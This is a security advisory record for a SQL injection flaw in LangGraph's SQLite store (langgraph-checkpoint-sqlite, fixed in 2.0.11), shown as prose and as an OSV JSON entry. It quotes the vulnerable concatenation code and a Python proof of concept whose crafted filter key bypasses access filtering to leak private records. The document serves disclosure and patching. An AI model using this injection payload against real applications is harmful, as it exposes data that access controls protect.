PYSEC-2026-1529

Vulnerability from pysec - Published: 2026-07-07 16:03 - Updated: 2026-07-07 17:24
VLAI
Details

Summary

LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.

Details

/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py

The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.

  filter_conditions.append(
      "json_extract(value, '$."
      + key  # <-- Directly concatenated, no escaping!
      + "') = '"
      + value.replace("'", "''")  # <-- Only value is escaped
      + "'"
  )

Who is affected

This issue affects only developers or projects that directly use the checkpoint-sqlite store.

An application is vulnerable only if it: 1. Instantiates the SqliteStore from the checkpoint-sqlite package, and 2. Builds the filter argument using keys derived from untrusted or user-supplied input (such as query parameters, request bodies, or other external data).

If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.

Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

#!/usr/bin/env python3
"""Minimal SQLite Key Injection POC for LangGraph"""

from langgraph.store.sqlite import SqliteStore

# Create store with test data
with SqliteStore.from_conn_string(":memory:") as store:
    store.setup()

    # Add public and private documents
    store.put(("docs",), "public", {"access": "public", "data": "public info"})
    store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"})

    # Normal query - returns 1 public document
    normal = store.search(("docs",), filter={"access": "public"})
    print(f"Normal query: {len(normal)} docs")

    # SQL injection via malicious key
    malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$."
    injected = store.search(("docs",), filter={malicious_key: "dummy"})

    print(f"Injected query: {len(injected)} docs")
    for doc in injected:
        if doc.value.get("access") == "private":
            print(f"LEAKED: {doc.value}")
Impacted products
Name purl
langgraph-checkpoint-sqlite pkg:pypi/langgraph-checkpoint-sqlite

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "langgraph-checkpoint-sqlite",
        "purl": "pkg:pypi/langgraph-checkpoint-sqlite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.0.0",
        "1.0.1",
        "1.0.2",
        "1.0.3",
        "1.0.4",
        "2.0.0",
        "2.0.1",
        "2.0.10",
        "2.0.2",
        "2.0.3",
        "2.0.4",
        "2.0.5",
        "2.0.6",
        "2.0.7",
        "2.0.8",
        "2.0.9"
      ]
    }
  ],
  "aliases": [
    "CVE-2025-64104",
    "GHSA-7p73-8jqx-23r8"
  ],
  "details": "### Summary\nLangGraph\u0027s SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.\n\n### Details\n[`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`](https://github.com/langchain-ai/langgraph/blob/ee5d052a07aadd76dae123a27009ea0a3694fa0a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py#L407)\n\nThe key portion of the JSON path is concatenated directly into the SQL string without sanitation. There\u0027s a few different occurrences within the file.\n\n```python\n  filter_conditions.append(\n      \"json_extract(value, \u0027$.\"\n      + key  # \u003c-- Directly concatenated, no escaping!\n      + \"\u0027) = \u0027\"\n      + value.replace(\"\u0027\", \"\u0027\u0027\")  # \u003c-- Only value is escaped\n      + \"\u0027\"\n  )\n```\n\n### Who is affected\n\nThis issue affects **only developers or projects that directly use the `checkpoint-sqlite` store**. \n\nAn application is vulnerable only if it:\n1. Instantiates the `SqliteStore` from the `checkpoint-sqlite` package, **and**\n2. Builds the `filter` argument using keys derived from **untrusted or user-supplied input** (such as query parameters, request bodies, or other external data).\n\nIf filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.\n\nNote: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\n```python\n#!/usr/bin/env python3\n\"\"\"Minimal SQLite Key Injection POC for LangGraph\"\"\"\n\nfrom langgraph.store.sqlite import SqliteStore\n\n# Create store with test data\nwith SqliteStore.from_conn_string(\":memory:\") as store:\n    store.setup()\n    \n    # Add public and private documents\n    store.put((\"docs\",), \"public\", {\"access\": \"public\", \"data\": \"public info\"})\n    store.put((\"docs\",), \"private\", {\"access\": \"private\", \"data\": \"secret\", \"password\": \"123\"})\n    \n    # Normal query - returns 1 public document\n    normal = store.search((\"docs\",), filter={\"access\": \"public\"})\n    print(f\"Normal query: {len(normal)} docs\")\n    \n    # SQL injection via malicious key\n    malicious_key = \"access\u0027) = \u0027public\u0027 OR \u00271\u0027=\u00271\u0027 OR json_extract(value, \u0027$.\"\n    injected = store.search((\"docs\",), filter={malicious_key: \"dummy\"})\n    \n    print(f\"Injected query: {len(injected)} docs\")\n    for doc in injected:\n        if doc.value.get(\"access\") == \"private\":\n            print(f\"LEAKED: {doc.value}\")\n```",
  "id": "PYSEC-2026-1529",
  "modified": "2026-07-07T17:24:29.542368Z",
  "published": "2026-07-07T16:03:08.929810Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langgraph/security/advisories/GHSA-7p73-8jqx-23r8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64104"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langgraph/commit/bc9d45b476101e441cb1cc602dea03eb29232de4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/langchain-ai/langgraph"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/langgraph-checkpoint-sqlite"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-7p73-8jqx-23r8"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…